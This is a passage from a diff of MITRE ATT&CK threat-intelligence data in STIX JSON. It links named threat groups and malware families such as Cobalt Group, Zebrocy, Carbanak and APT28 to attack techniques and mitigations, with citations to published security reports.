"source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "source_name": "Palo Alto Rover", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used exploits to increase their levels of rights and privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5bd3526a-1ae2-4b09-8be7-0eef6ae33155", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.747Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) collects the OS version, computer name and serial number for the storage volume C:\\. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the systeminfo command to gather system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6216dadc-095e-4550-bc01-79c79fe614ba", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.598Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) lists running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6a09f442-6a2a-455a-ad8d-6aa192995de3", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387", + "source_ref": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271", + "modified": "2019-07-24T19:40:00.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cb046be9-87c4-4dbd-b01f-9771aa4f2552", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.516Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent spearphishing emails with various attachment types to corporate and personal email accounts of victim organizations. Attachment types have included .rtf, .doc, .xls, archives containing LNK files, and password protected archives containing .exe and .scr executables.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--029bdc73-5054-45eb-b9d0-e4281f69d85a", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.783Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) uses DNS TXT records for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d", + "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--4aecd118-a823-4859-9245-90155a0bbe11", + "source_ref": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739", + "modified": "2019-07-24T19:37:57.159Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) configured its payload to inject into the rundll32.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3bcfc38f-5fe8-4c66-8352-d3ba71c4f3ec", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.119Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.024Z", + "id": "relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d", + "source_ref": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751", + "modified": "2019-07-24T14:10:43.140Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used batch scripts and scheduled tasks to delete critical system files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--059f8b03-59f9-45da-9c12-862f50e5fe45", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) launches a scheduled task.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f3c37734-1f69-44ee-9e27-480ba68c79f4", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.539Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used WinRM to enable remote execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a command to gather system information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--48281b5d-ca6f-401e-bda1-24f6537dcf1d", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.571Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[APT32](https://attack.mitre.org/groups/G0050) includes garbage code to mislead anti-malware software and researchers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d57fba3a-0ed8-49a1-9446-13a4b73c3bc5", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.027Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has used a VBScript named \"ggldr\" that uses Google Apps Script, Sheets, and Forms services for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--a732c265-07f0-4e9b-a42c-0df6277e5b27", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Forcepoint Carbanak Google C2", + "description": "Griffin, N. (2017, January 17). CARBANAK GROUP USES GOOGLE FOR MALWARE COMMAND-AND-CONTROL. Retrieved February 15, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/carbanak-group-uses-google-malware-command-and-control" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f6483534-196c-4540-a456-985594171cd8", + "source_ref": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440", + "modified": "2019-07-24T19:27:47.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) identifies files with certain extensions from USB devices, then copies them to a predefined directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f761e63a-5c5a-47e3-8256-08bd299f329e", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) supports execution from the command-line.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has been observed using a Registry Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--559c0d59-16a7-4c1c-801d-6c8c32ffc5ce", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.534Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) starts a rootkit from a malicious file dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f8340d49-ee7a-4ade-988f-3660904a18bb", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "source_name": "Symantec Darkmoon Aug 2005", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can download and upload files to the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d68649d8-4f18-48b8-93b8-82c8660fc464", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has the capability to communicate over a backup channel via plus.google.com.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f5936bbd-f8cb-404a-bd43-87f7bc836294", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.718Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used CVE-2015-4902 to bypass security features.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e5706e1a-33a9-4404-9ef8-c8aa428363ec", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:34.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b5c97349-c288-43f8-9bcc-09491d0c66f5", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.673Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "source_name": "Symantec Dragonfly Sept 2017", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c4e81078-28b4-4a68-a946-458f4d122e39", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.896Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) variants reported on in 2014 and 2015 used a simple XOR cipher for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6cbbb97e-1725-4b98-8b1b-fc0932d2a105", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[Sakula](https://attack.mitre.org/software/S0074) uses DLL side-loading, typically using a digitally signed sample of Kaspersky Anti-Virus 